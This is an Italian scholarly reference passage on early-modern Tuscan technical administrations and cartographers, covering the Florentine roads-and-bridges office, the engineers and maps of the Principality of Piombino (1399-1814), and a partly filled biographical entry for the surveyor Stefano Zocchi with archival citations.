Nello stesso anno, probabilmente su iniziativa dello stesso Nelli, vennero pubblicate le nuove e dettagliate “Istrutioni et obblighi degli ingegneri di strade e ponti” che, sia pur rifacendosi a norme precedenti, dovevano restare in vigore fino alle riforme del periodo pietroleopoldino e regolare minuziosamente l’attività degli ingegneri di strade e ponti. Erano previste visite annuali degli ingegneri alle strade e ai ponti, alla presenza del deputato alle strade e del cancelliere delle rispettive comunità, durante le quali si doveva prender nota (in un apposito “Libro di ordinazioni di lavori di strade e ponti”) di tutti gli interventi necessari, delle spese occorrenti e di chi le doveva sostenere; il “Libro” doveva essere vistato dalla cancelleria dei Capitani di Parte e, una volta completato, consegnato ad essa. Tutte le visite, sia ordinarie che straordinarie, erano rigidamente regolate e si proibiva agli ingegneri di “andare a mangiare o dormire nelle case dei muratori o di altre maestranze […] e in compagnia di loro andare all’osteria a mangiare”; si dovevano compiere visite periodiche ai luoghi dei cantieri; erano fissate regole rigide per i collaudi e per i pagamenti, previsti entro quaranta giorni dalla fine dei lavori; erano inoltre vietate le approvazioni di lavori “per quelle strade che servono per puro comodo de’ villeggianti”.
Alla metà del XVIII secolo, nonostante tali provvedimenti, i progressi nel campo della specializzazione erano ancora piuttosto scarsi sia per quanto riguarda la professionalità che le capacità operative degli addetti (Toccafondi e Vivoli, 1993, pp. 216-217).
La formazione avveniva in modo vario, senza istituti particolari deputati allo scopo, spesso attraverso attività di assistenza e tirocinio svolte presso tecnici granducali o privati.
Il reclutamento degli operatori avveniva quasi esclusivamente nei centri principali del Granducato: Firenze ma anche Siena e Pisa, dove avevano sede uffici particolari della Congregazione. In genere, gli agenti provenivano dalla cerchia dei protetti di cortigiani o di personaggi già introdotti nella pubblica amministrazione. Non esistendo infatti collegi, corporazioni o altri canali di accesso ai ruoli, si seguivano criteri clientelari, come la presentazione e la parentela, e non erano previsti seri accertamenti sulle competenze dei candidati; per tamponare le necessità, gli uffici, attraverso il sistema delle “imborsazioni” e delle estrazioni “al bisogno”, disponevano di un’area di reclutamento che consentiva collaborazioni saltuarie di pubblici periti senza ampliamento degli organici.
Per tutto il XVII secolo e fino alle nuove norme del 1718 (che stabilirono stipendi invariati per gli ingegneri), i livelli di remunerazione per gli ingegneri e gli aiuti non subirono grandi sviluppi e l’assenza di organismi di categoria, come arti o corporazioni, poneva gli ingegneri e gli architetti in una situazione di subordinazione nei confronti della committenza (Toccafondi e Vivoli, 1993, pp. 216-217).
Con l’istituzione della Camera delle Comunità, Luoghi Pii, Fiumi, Ponti e Strade, motuproprio del 22 giugno 1769, la Congregazione (insieme alla collegata istituzione dei Capitani di Parte Guelfa) venne soppressa e le competenze passarono a questo nuovo organismo nel cui ambito venne creata una specifica burocrazia tecnica alle dipendenze dell’ingegnere (poi capo-ingegnere) Giuseppe Salvetti.
Il fondo Ponti e Strade conservato nell’Archivio di Stato di Firenze fa riferimento sostanzialmente all’attività di una sezione della Camera delle Comunità, Luoghi Pii, Fiumi, Ponti e Strade istituita nel 1769 (Toccafondi e Vivoli, 1993, p. 196).
Il corpo di tecnici che andò ad operare nella nuova Camera fu appositamente formato dal matematico Pietro Ferroni con la costituzione di una vera e propria scuola per ingegneri all’interno della stessa Camera.
Con i regolamenti comunitativi istituiti da Pietro Leopoldo di Lorena nel 1773 la maggior parte delle competenze in materia di strade e ponti (con allargamento a corsi d’acqua e fabbricati) passò alle comunità; queste, con il nuovo organo del Magistrato Comunitativo (che, tra l’altro, provvedeva a nominare ogni due anni un perito tecnico esterno all’amministrazione locale, con qualifica di provveditore di strade, corsi d’acqua e fabbriche), d’ora in avanti, e fino alla istituzione del Corpo degli Ingegneri di Acque e Strade del 1825 (con la breve parentesi del periodo francese, allorché anche in Toscana, nel 1808-14, operò il Service Impérial des Ponts et Chaussèes con nelle vesti di soprintendente generale lo scienziato Giovanni Fabbroni) (Toccafondi e Vivoli, 1993, p. 242; e Toccafondi, 1996, p. 165), godranno di un’ampia autonomia decisionale nella gestione tecnico-amministrativa e finanziaria dei loro beni.

Produzione cartografica

In ASF, Inventario 156: Piante di Ponti e Strade sono conservate numerose piante per un complesso di 117 segnature, per lo più di strade e corsi d’acqua (stati di fatto e progetti d’intervento), con rappresentazioni topografiche e anche figure di complessi edilizi, redatte nell’arco cronologico dalla seconda metà del XVII all’inizio del XIX secolo.

Operatori

Jacopo Pazzi (fino al 1718); Mariotto Casali (fino al 1718); Giovan Battista Bettini (dal 1718); Vittorio Anastasi/Anastagi (dal 1718); Anastasio Anastasi/Anastagi (metà XVIII sec.; dal 1769 passerà nell’organico della Camera delle Comunità, Luoghi Pii, Fiumi, Ponti e Strade); Giovanni Spadini (metà XVIII sec., in sostituzione del Bettini; dal 1769 passerà nell’organico della Camera delle Comunità, Luoghi Pii, Fiumi, Ponti e Strade).

Riferimenti bibliografici e archivistici

Toccafondi e Vivoli, 1993; Toccafondi, 1996, pp. 153-154; ASF, Piante di Ponti e Strade; e Camera delle Comunità e Luoghi Pii.

Anna Guarducci (Siena)

Amministrazione del Principato di Piombino (1399-1814) (Granducato di Toscana)

Nel 1399, gli Appiani strapparono alla Repubblica di Pisa la parte meridionale dell’antica Maremma Pisana (in pratica, le basse vallate di Cornia e Pecora con gli attuali Comuni di Piombino, Suvereto, Follonica e Scarlino, e con l’exclave separata di Buriano in Val di Bruna), insieme con l’Elba e le altre isole minori di Pianosa e Montecristo.
Durante i secoli XV e XVI, gli Appiano vi crearono un piccolo ma bene organizzato Stato moderno che traeva risorse basilari nell’estrazione e nella lavorazione dell’allume di Montioni e soprattutto dei minerali di ferro dell’Elba, e che – nel corso dei secoli – fino alla dominazione napoleonica venne trasmesso ereditariamente prima agli Aragona Appiani, e poi ai Ludovisi e ai Boncompagni Ludovisi, pressoché integralmente (con l’eccezione dei due lembi elbani con le nuove fortezze di Portoferraio e Longone oggi Porto Azzurro, che nel XVI passarono rispettivamente al Granducato e ai Presidios spagnoli di Orbetello). Nel 1805, però, Napoleone – che già dal 1801 aveva occupato il Principato di Piombino – decise di mantenere alla Francia il controllo diretto delle isole e di affidare la parte continentale, il Piombinese, alla sorella Elisa Bonaparte e al di lei consorte Felice Baciocchi, già investiti del governo dell’antico Stato di Lucca, con il titolo di Principi di Lucca e Piombino.
Nel 1814, con la caduta di Napoleone e con il Congresso di Vienna, tutto il territorio (continentale e insulare) dell’antico Principato fu annesso al restaurato Granducato di Toscana dei Lorena.
Nonostante l’organizzazione burocratica creata a Piombino fin dai tempi rinascimentali, non è documentata la presenza di operatori tecnici e di cartografi nell’amministrazione statale piombinese fino al XVIII secolo inoltrato.
Infatti, a quanto è dato sapere, la prima attestazione di un ingegnere piombinese riguarda Giustino Lombardo e il 1730, con il disegno di una mappa del fiume Bruna e del territorio circostante (con l’exclave piombinese di Buriano), insieme con il confine tra i due Stati (conservata in ASF, Magona. Appendice II, f. 48, mazzo n. 1: cfr. Quattrucci, 1994, p. 120).
Forse anche Giuseppe Baldesi, autore nel 1738 di una memoria sulle ferriere del Piombinese e sui lavori necessari per la loro messa in funzione (Archivio Segreto Vaticano, Boncompagni, n. 392, 11: cfr. Rombai e Tognarini, 1986, p. 61), fu un ingegnere.
Ma occorre attendere l’inizio degli anni ’70 perché compaia un tecnico stabilmente inquadrato a tempo pieno nell’amministrazione del Principato.
Almeno dal 1771 al 1804 tale operatore ha il nome del capitano ingegnere Giacomo Benassi (che si firma come “Ingegnere di Sua Eccellenza”), che sarà assai attivo soprattutto nell’ambito dei lavori della Deputazione toscano-piombinese che, nel 1779-85, fu incaricata di misurazioni e visite ai confini controversi fra Granducato e Principato, e coordinata dai matematici Leonardo Ximenes e Teodoro Bonaiuti, con vari ingegneri toscani e piombinesi al seguito (per il primo Stato Filippo Grobert e Alessandro Nini, per il secondo, oltre a Benassi, Stefano Pasi): gli ingegneri redassero materialmente, in modo collegiale, le numerose e impegnative piante per le varie aree interessate, e precisamente quelle della Val di Cornia, della Val di Pecora, della valle dell’Alma e di Gualdo, della sezione nord-occidentale della pianura di Grosseto tra la Bruna e il lago di Castiglione (ASF, Miscellanea di Piante, 9, 37, 58, 297/b-c, 408, 501, 503, 506-507, 513-536, 543-545, 764; e Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, n. 1576/1) (cfr. Barsanti e Rombai, 1987, p. 190; e Rombai, Toccafondi e Vivoli, 1987, p. 387).
Al di là di tale importante impegno, sappiamo che Benassi nel 1771-78 aveva disegnato una mappa geometrica, con tanto di perizia, di una piccola area interessata allo scavo della Pecora nello Scarlinese, e un altro disegno progettuale per la costruzione di un capannone a Scarlino destinato a “fabbrica della polvere”; altri scritti tecnici interessarono la steccaia sul fiume Cornia, gli edifici delle torri di Torremozza e Baratti, la chiesa di Marina di Campo, l’affitto di boschi statali a Suvereto e Scarlino (ASF, Magona. Appendice II, f. 57, mazzo n. 10: cfr. Quattrucci, 1994, p. 122).
Ancora, nel 1772 Benassi disegnò la Pianta della miniera del ferro nell’isola dell’Elba (ASV, Boncompagni, XIII, 392-16); e nel 1772-73 Benassi redasse varie perizie sui beni forestali di Valle, sui più diversi problemi (anche di confinazione col Granducato) dei territori di Suvereto, Vignale, Scarlino e Buriano con la torre del Barbiere a Gualdo oggi Puntala e la steccaia della Ronna che alimentava l’industria di Follonica (ASF, Magona. Appendice II, f. 53, mazzo n. 11: cfr. Quattrucci, 1994, p. 121).
Nel 1788 scrisse un dettagliato inventario degli stabili, con relative masserizie, esistenti nello stabilimento siderurgico di Follonica, mentre nel 1800 stilò – insieme all’altro ingegnere Giuseppe Antonio Pellegrini – perizie per restaurare alcuni degli stabili di Follonica con la gora di alimentazione e la steccaia di derivazione delle acque, con tanto di presenza in sede di esecuzione dei lavori (Rombai e Tognarini, 1986, pp. 49-50).
Da notare che il Pellegrini fu autore nel 1794 di una perizia con disegno planimetrico dello stabilimento di Follonica (ASF, Piombino, 632, c. 87: cfr. Rombai e Tognarini, 1986, p. 118).
Dunque, almeno nel 1794, al suo tramonto, l’antico Stato Piombinese aveva al suo servizio due ingegneri: Benassi e Pellegrini.
Ma è negli anni seguenti, sotto la dominazione francese che la vicenda della cartografia del Principato di Piombino appare ancora più significativa.
Già nel 1804 Benassi poté costruire la Carte de la Principauté de Piombino, una rappresentazione generale non geometrica, ma con dettaglio tale da comprendere tutti gli edifici (anche isolati) allora esistenti.
Nel 1808, pure l’altro ingegnere del Principato Giuseppe Antonio Pellegrini fece una nuova figura limitata al territorio costiero, Principato di Piombino. Pianta dei Paduli di Piombino, Torre Mozza e Scarlino contenente numerosi valori di distanze e coordinate geografiche. Nel 1810 vennero intensificati i lavori di rilevamento geometrico-topografico, correlati alle operazioni catastali, utilizzati anche per la compilazione di una nuova carta del Principato, Principato di Piombino, che fu portata a compimento dal Pellegrini nel 1813, con risultati decisamente migliori, se non ancora compiutamente geometrici, rispetto ai prodotti precedenti (Guarducci, 2001, pp. 542-560; Quaini, Rombai e Rossi, 1995; e Tognarini, 1995, pp. 57-66).
Il nuovo governo dei Baciocchi provvide realmente a prendere in considerazione i problemi territoriali, come dimostrano gli interventi concreti alla via costiera della Principessa, con la costruzione del tratto Piombino-Torrenuova, per il cui progetto (con disegni e profili) del 1810 fu incaricato l’esperto ingegnere dell’amministrazione napoleonica e del Principato di Lucca Giacinto Garella (in ASP, Piante dell’Ufficio Fiumi e Fossi, n. 30), oltre che a varie strade dello Scarlinese per Massa Marittima e il Puntone, allo stabilimento siderurgico follonichese e all’allumiera e insediamento principesco con bagno termale di Montioni, e come dimostra soprattutto il problema della bonifica delle paludi costiere per finalità di risanamento igienico-ambientale e di sviluppo dell’agricoltura e del popolamento. Infatti, gli acquitrini del piombinese non erano stati interessati – come invece era avvenuto in vari settori della Maremma granducale a nord e a sud del Principato – da interventi di bonifica nel corso del XVIII secolo, finalizzati al recupero delle zone umide per la coltivazione; tale inazione si spiega soprattutto con il fatto che queste aree erano funzionali agli ordinamenti cerealicolo-pastorali estensivi che incardinavano i latifondi dei Desideri, Franceschi e altri grandi proprietari locali (Rombai, 1995, pp. 47-56; e Tognarini, 1995, p. 62).
Emblematico dell’attenzione nuova per il problema del paludismo è il decreto sul riassetto amministrativo del 15 maggio 1807 che prevedeva pure la bonifica, nel breve arco di un biennio, dei diversi acquitrini del Piombinese, da finanziare con una “fondiaria imposizione su tutti i proprietari”, oltre alla costruzione di una strada litoranea tra Piombino e Follonica con tanto di ponte sul fiume Cornia. Scrive Ivan Tognarini che “già dal gennaio di quello stesso anno” era stato approntato un piano di prosciugamento – evidenziato anche in due dettagliate, precise e innovative cartografie dei comprensori interessati, redatte però non dai due ingegneri piombinesi ma da operatori del corpo del genio militare imperiale nel 1806-07 (Plan du Grand Marais de la Principauté de Piombino e Project de desséchment du grand marais de Piombino, che quindi ne costituiscono l’imprescindibile base progettuale – imperniato sul metodo della colmata e dell’essiccazione mediante canali, con inondazione graduale e sistematica dei terreni palustri e con l’arginazione di fossi e fiumi (Rombai, Toccafondi e Vivoli, 1987, pp. 206-207.).
A questa serie appartengono pure altre figure coeve funzionali agli incanalamenti fluviali e alla costruzione delle arginature per le colmate che inquadrano un territorio più esteso rispetto a quello ricoperto dagli acquitrini, come la Carta del corso del fiume Cornia nella pianura di Campiglia, e nell’inferior territorio del Principato di Piombino del 1806, e la Pianta approssimativa delle Paludi di Piombino, redatta dal non altrimenti noto capitano Bechi e senza data.
Tutte queste carte e soprattutto quelle riferite ai comprensori al centro dell’interesse visualizzano le critiche condizioni idrauliche della bassa Val di Cornia tra Poggio alle Forche e Torre Mozza, con i suoi ambienti maremmani ricoperti in grandissima parte da acquitrini, boscaglie e incolti a pastura, con piccole isole a coltura cerealicola punteggiate da rade sedi rurali (Frangiana, Paduletto, Carlappiana, Vinarcha, Poggio S. Mommè), con il progetto di bonifica e di canalizzazione al mare del fiume Cornia, sulla cui foce si doveva costruire un ponte a tre archi in corrispondenza dell’antica via dei Cavalleggeri tra Piombino e Follonica (Rombai, 1995, pp. 51-52).
Questo progetto di radicale trasformazione territoriale non rimase sulla carta. Nel 1808, infatti, con un decreto specifico, venne presa la decisione di concedere le tre zone umide di Piombino, Torre Mozza e Scarlino ad un impresario, il Vidal, che avrebbe dovuto operare la colmata delle zone umide a tutte spese dello Stato, che avrebbe poi richiesto ai proprietari un contributo sulla base dell’incremento del valore dei terreni prodotto dalla bonifica.
Ma il tentativo di Vidal non arrivò a produrre risultati rilevanti, anche se nel 1809 uno dei nuovi ingegneri del Principato, Flaminio Chiesi (che probabilmente aveva sostituito il vecchio Benassi), elaborò il progetto della pescaia sul fiume Cornia, e nel 1811 i lavori, tra l’opposizione della grande proprietà fondiaria con alla testa i Franceschi, poterono iniziare e svolgersi fino alla caduta di Napoleone, sotto la direzione di Chiesi e Pellegrini. Di sicuro, fu effettuata l’escavazione da parte del Genio Imperiale del fosso della Sdriscia, che avrebbe dovuto deviare le acque torbide fluviali nel paduletto di Campo all’Olmo, venne parzialmente arginato il fiume Cornia e vennero costruiti ponti in legno alle foci del Cornia e del Pecora (Tognarini, 1995, pp. 60-61).
Ai Baciocchi deve essere riferito anche il progetto di porto canale alla foce dello Stagno e Padule di Scarlino in località Puntone che è evidenziato mediante una nitida planimetria disegnata dall’architetto francese Louis Guizot nel 1805-1807 (ASF, Piombino Appendice II, 11, ins. 2: cfr. Rombai e Tognarini, 1986, p. 81), per costruire uno scalo sicuro, con due lunghi moli da erigere pressoché esclusivamente all’interno della zona umida e nel poco profondo tombolo, in funzione soprattutto delle esigenze commerciali dello stabilimento siderurgico statale di Follonica. Il progetto venne fatto esaminare dal ben noto Matematico Regio fiorentino Pietro Ferroni che il 12 luglio 1807, secondo il suo metodo sistematico di procedere, ne scrisse un’articolata memoria col titolo di Voto imparziale, e sottotitolo di Osservazioni sopra il Progetto di riduzione a porto del Punton di Scarlino, nella quale egli giudica poco conveniente la costruzione del porto canale “a maggior comodo, e vantaggio del Forno, Ferriera e magazzini adiacenti della Follonica”, perché la sua accessibilità da parte dei bastimenti sarebbe stata continuamente messa a rischio dall’insabbiamento prodotto “dai flutti marini”, come ben dimostrava l’esperienza del “vicin porto canale di Castiglione della Pescaia” (Rombai, 1995, pp. 52-53; e Pellegrini, 1984).
A partire dal 1809 e fino al 1814, le innumerevoli perizie a fabbriche, strade e corsi d’acqua (con ponti e steccaie del Principato) portano regolarmente la firma dell’ingegner Chiesi – anche se dal 1805 compare pure un nuovo aiuto, Angelo Benassi, forse figlio di Giacomo – a partire dal progetto con quattro piante e alzati della Steccaia sul Fiume Pecora del 1809 (ASF, Piombino Appendice II, 11, ins. 2: cfr. Rombai e Tognarini, 1986, pp. 76-81).

Produzione cartografica

Mappa del fiume Bruna e del territorio circostante (con l’exclave piombinese di Buriano) al confine tra i due Stati, ingegnere Giustino Lombardo, 1730 (ASF, Magona. Appendice II, f. 48 mazzo n. 1);
Pianta della miniera del ferro nell’isola dell’Elba, ingegnere Giacomo Benassi, 1772 (ASV, Boncompagni, XIII, 392-16);
Carte de la Principauté de Piombino, ingegnere Giacomo Benassi, 1804 (SHAT, Cartes et Plans, M.13.C, carta n. 27);
Pianta topografica generale del corso nuovo e vecchio del fiume Ampio e sue adiacenze, e della nuova e vecchia confinazione tra lo Stato di Toscana e il Principato di Piombino, fine del sec. XVIII (ASF, Miscellanea di Piante, n. 9);
Pianta dalla confluenza della Milia nella Cornia fino all’estremo termine giurisdizionale fra la Sassetta e Suvereto, Alessandro Nini e Giacomo Benassi, 28 maggio 1783 (ASF, Miscellanea di Piante, n. 37);
Pianta della confinazione del Marchesato di Castiglioni col Principato di Piombino, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 58);
Pianta topografica di una parte del corso del Torrente Alma, e del Fosso della Zinghera, e dei Fossetti che mettono in essi, con i Poggi dai quali derivano, e loro adiacenze, formata dagl’Ingegneri Toscani e Piombinesi per la questione presente di Confinazione fra il Granducato di Toscana et il Principato di Piombino nel mese di Marzo del 1781 (ASF, Miscellanea di Piante, n. 297/b);
Pianta topografica di una parte del corso del Torrente Alma, del Fosso della Zinghera, e dei Fossetti che mettono in essi, con i Poggi dai quali derivano, e loro adiacenze, formata dagl’Ingegneri Toscani e Piombinesi per la questione presente di Confinazione fra il Granducato di Toscana et il Principato di Piombino nel mese di Marzo del 1781 (ASF, Miscellanea di Piante, n. 297/c);
Sbozzo di carta confinaria tra gli Stati di Piombino e di Toscana nella valle dell’Alma in Maremma, 9-13 marzo 1781 (ASF, Miscellanea di Piante, n. 408);
Cartone della Tenuta di Pian d’Alma, e luoghi adiacenti per la confinazione di detta Tenuta col territorio del Sig. Principe di Piombino. Anno MDCCLXXVII (ASF, Miscellanea di Piante, n. 190)
Pianta di una parte del corso del Fiume Alma con le sue sorgenti e fossi che mettono in esso, poggi, e loro adiacenze formata per intelligenza della questione di confinazione per quella parte fra il Granducato di Toscana e il Principato di Piombino l’anno 1781 (ASF, Miscellanea di Piante, n. 501);
Confine giurisdizionale tra Granducato di Toscana e Principato di Piombino in Valdibruna presso Buriano, Alessandro Nini e Giacomo Benassi ingegneri, 13 maggio 1783 (ASF, Miscellanea di Piante, n. 503);
Pianta dimostrante il confine tra le tenute di Buriano e Montepescali secondo il Lodo del 1696 ed il Fermato nell’accesso nel 24 Decem. 1725 in occasione della recognizione confinaria nella pianura degli Acquisti tra Granducato e Principato di Piombino, Alessandro Nini Ingegnere, 17 aprile 1783 (ASF, Miscellanea di Piante, n. 506);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino in Val di Pecora nei territori di Massa Marittima e Scarlino, Alessandro Nini e Giacomo Benassi, 21 maggio 1782 (ASF, Miscellanea di Piante, n. 507);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Gualdo, 1785 (ASF, Miscellanea di Piante, n. 513);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Gualdo, Alessandro Nini e Giacomo Benassi ingegneri, 17 aprile 1782 (ASF, Miscellanea di Piante, n. 514);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel Piano della Badia al Fango, Alessandro Nini e Giacomo Benassi ingegneri, 19 marzo 1783 (ASF, Miscellanea di Piante, n. 515);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino dalle steccaie di Pecora e Ronna a Follonica, Alessandro Nini e Giacomo Benassi, 21 maggio 1783 (ASF, Miscellanea di Piante, n. 516);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Campiglia e Suvereto, Alessandro Nini e Giacomo Benassi, 17 maggio 1783 (ASF, Miscellanea di Piante, n. 517);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Tirli, Alessandro Nini e Giacomo Benassi ingegneri, 30 aprile 1782 (ASF, Miscellanea di Piante, n. 518);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino da Tirli al Mulino dell’Ampio, Alessandro Nini e Giacomo Benassi ingegneri, 30 aprile 1782 (ASF, Miscellanea di Piante, n. 519);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Gualdo, Alessandro Nini e Giacomo Benassi ingegneri, 1782 (ASF, Miscellanea di Piante, n. 520);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nella Tenuta di Gualdo, 1782 (ASF, Miscellanea di Piante, n. 521);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Gualdo, [1780] (ASF, Miscellanea di Piante, n. 522);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel Piano della Badia al Fango, Alessandro Nini, 10 maggio 1782 (ASF, Miscellanea di Piante, n. 523);
Pianta dell’andamento del corso presente dei torrenti Ampio e Cortigliano dal Lago di Castiglioni o dell’Abbadiola fino alle radici dei Monti dai quali scendono e parte delle adiacenze di detti torrenti nell’anno 1781, Alessandro Nini, 1781 (ASF, Miscellanea di Piante, n. 524);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Buriano e Montepescali, Alessandro Nini, 5 giugno 1783 (ASF, Miscellanea di Piante, n. 525);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino nel territorio di Buriano e Montepescali, Alessandro Nini e Giacomo Benassi ingegneri, 8 aprile 1783 (ASF, Miscellanea di Piante, n. 526);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino nel territorio dell’Abbadiola e Acquagiusta, Alessandro Nini, 2 giugno 1783 (ASF, Miscellanea di Piante, n. 527);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio dell’Abbadiola e Acquagiusta, Alessandro Nini e Giacomo Benassi ingegneri, 8 aprile 1783 (ASF, Miscellanea di Piante, n. 528);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino dal mulino sull’Ampio a Piano e penisola dell’Abbadiola, Alessandro Nini e Giacomo Benassi ingegneri, 7 aprile 1783 (ASF, Miscellanea di Piante, n. 529);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino in Valdalma, Ferdinando Morozzi e Pietro Paolo Calini (o Casini), seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 530);
Pianta topografica di una parte del corso del fiume Alma o Rio di S. Lucia, del fosso della Zinghera e dei fossetti che mettono in esso, con i poggi dai quali derivano formata dagl’ingegneri toscani e piombinesi per la questione presente di confinazione tra il Granducato di Toscana e il Principato di Piombino, Alessandro Nini e Giacomo Benassi ingegneri, marzo 1781 (ASF, Miscellanea di Piante, n. 531);
Pianta dimostrativa i due Mulini della Zinghera e sue adiacenze, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 532);
Pianta topografica di una parte del Piano d’Alma e di Gualdo, Filippo Grobert e Stefano Pasi, 1779 (ASF, Miscellanea di Piante, n. 533);
Pianta della tenuta di Gualdo dal Padule di Pian d’Alma fino alla Troia e poggi che circondano detta tenuta parte della quale appartiene a S.A.R. i Granduca di Toscana e parte a S.E. i principe di Piombino, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 534);
Pianta topografica di una parte del piano d’ Alma dal ponte di pietra del fiume di detto nome fino alla sommità del Poggio Spada e del Monte d’Alma, formata di concerto da Alessandro Nini e Giacomo Benassi ingegneri di Toscana e di Piombino, 24 maggio 1779 (ASF, Miscellanea di Piante, n. 535);
Confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino da Montecalvi fino alla bassa Valdicornia. III., Alessandro Nini e Giacomo Benassi ingegneri, 1780 ca. (ASF, Miscellanea di Piante, n. 536);
Carta topografica dimostrante la Torre della Troia, stabilimento di S.A.R. il ser.mo Granduca di Toscana, e la Torre del Barbiere del Principato di Piombino con i scali e seni, adiacenti a dette torri, comprese dentro la passata del cannone, Innocenzio Fazzi ingegnere, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 543);
Pianta topografica della tenuta del Gualdo e di parte del Pian d’Alma fatta nell’anno 1779 (ASF, Miscellanea di Piante, n. 544);
Territorio del Gualdo, oggi Punta Ala, in due piante a confronto del 1616 e del 1769, 1780 (ASF, Miscellanea di Piante, n. 545);
Disegno schematico del confine tra lo Stato di Siena con il Territorio di Massa e il Principato di Piombino con il Territorio di Scarlino alla steccaia del Fiume Pecora, Alessandro Nini e Giacomo Benassi, 23 aprile 1782 (ASF, Miscellanea di Piante, n. 764);
Pianta di tutta la linea di confine [tra il Granducato e il Principato di Piombino] dal termine del Dosso d’Arcione allo Scoglietto di Capezzuolo, Alessandro Nini, 1782 (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, n. 1576/1);
Disegno planimetrico dello stabilimento di Follonica, Giuseppe Antonio Pellegrini, 1794 (ASF, Piombino, 632, c. 87);
Principato di Piombino. Pianta dei Paduli di Piombino, Torre Mozza e Scarlino, ingegnere Giuseppe Antonio Pellegrini, 1808 (ASF , Miscellanea di Piante, n. 293 bis/c);
Principato di Piombino, ingegnere Giuseppe Antonio Pellegrini, 1810-13 (Archivio di Stato di Lucca);
Plan du Grand Marais de la Principauté de Piombino, Genio militare imperiale, 1806-07 (ASF, Miscellanea di Piante, n. 278/a);
Project de desséchment du grand marais de Piombino, Genio militare imperiale, 1806-07 (ASF, Miscellanea di Piante, n. 278/b);
Carta del corso del fiume Cornia nella pianura di Campiglia, e nell’inferior territorio del Principato di Piombino, 1806 (ISCAG, E.2047);
Pianta approssimativa delle Paludi di Piombino, capitano Bechi, 1806-07 (ISCAG, E.2044);
Pianta del fiume Cornia con sulla cui foce un progetto di ponte in corrispondenza della via dei Cavalleggeri (ASF, Miscellanea di Piante, n. 278/c);
Pianta con progetto di porto canale alla foce del Puntone dello Stagno-padule di Scarlino, architetto Louis Guizot, 1805-1807 (ASF, Piombino Appendice II, n. 11, ins. 2);
Steccaia sul Fiume Pecora, quattro mappe e alzati, ingegnere Flaminio Chiesi, 1809 (ASF, Piombino Appendice II, 11, ins. 2);
Progetto (con disegni e profili) della via della Principessa da Piombino a Torrenuova, Giacinto Garella, 1810 (in ASP, Piante dell’Ufficio Fiumi e Fossi, n. 30).

Operatori

Giustino Lombardo ingegnere (1730), Giacomo Benassi ingegnere (1771-1804), Stefano Pasi ingegnere (1779-85), Giuseppe Antonio Pellegrini ingegnere (1794-1813), Bechi capitano del Genio militare (1806-07), Louis Guizot (1805-07), Giacinto Garella (1810), Flaminio Chiesi ingegnere (1809-14), Angelo Benassi (1805-14).

Riferimenti bibliografici e archivistici

Guarducci, 2000; Rossi, 2000; Guarducci, 2001; Orefice, 2002; Pellegrini, 1984; Quaini, Rombai e Rossi, 1995; Quattrucci, 1994; Rombai, 1995; Rombai, Toccafondi e Vivoli, 1987; Rombai e Tognarini, 1986; Rombai e Vivoli, 1996, pp. 156-157; Tognarini, 1987; Tognarini, 1995. Molti documenti sono in ASF, Piombino; ASF, Piombino Appendice II; ASF, Magona; ASF, Miscellanea di Piante; ASV, Boncompagni; ASL, Piombino; ISCAG; SHAT.

Anna Guarducci, Leonardo Rombai (Siena)

Zocchi, Stefano

Stefano Zocchi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
Cabreo dei beni della Fattoria di S. Casciano in Val di Pesa, 1710 (ASF, Santa Maria Nuova, f. 705);
Cabreo dei beni della Fattoria di Pieve a Pitiana e della Romola, 1711 (ASF, Santa Maria Nuova, f. 695);
Cabreo dei beni della Fattoria di Castelfiorentino, 1716-17 (ASF, Santa Maria Nuova, f. 699);
Cabreo dei possessi (poderi e case urbane) del Monastero fiorentino di S. Giuliano, 1717 (ASF, Miscellanea di Piante, nn. 283-283c1);
Descrizione topografica di tutti i beni della Fattoria di Panzano, 1717 (ASF, Santa Maria Nuova, f. 696);
Cabreo dei beni della Fattoria di Santa Maria alle Grazie in Casentino, inizio XVIII secolo, attribuito (ASF, Conventi Soppressi, 260, n. 135. Convento di Santa Maria a Vallombrosa);
Pianta di un tratto del Fiume Arno poco a monte di Firenze, 1720 (ASF, Miscellanea di Piante, n. 497c);
Disegno di un ponte sull'Arno presso Signa, 1722 (ASF, Miscellanea di Piante, n. 751v);
Piante e alzati di edifici posti in Firenze, 1732 (ASF, Miscellanea di Piante, nn. 283dI-eI).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Ginori Lisci, 1978, pp. 80, 82-83, 86, 112 e 275-277, 281-282; Rombai, Toccafondi e Vivoli, 1987, pp. 221-228, 376 e 461; Stopani, 1993, p. 63; Valentini, 1993, p. 285; Piccardi, 2001, pp. 49 e 89; ASF, Miscellanea di Piante; ASF, Santa Maria Nuova.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci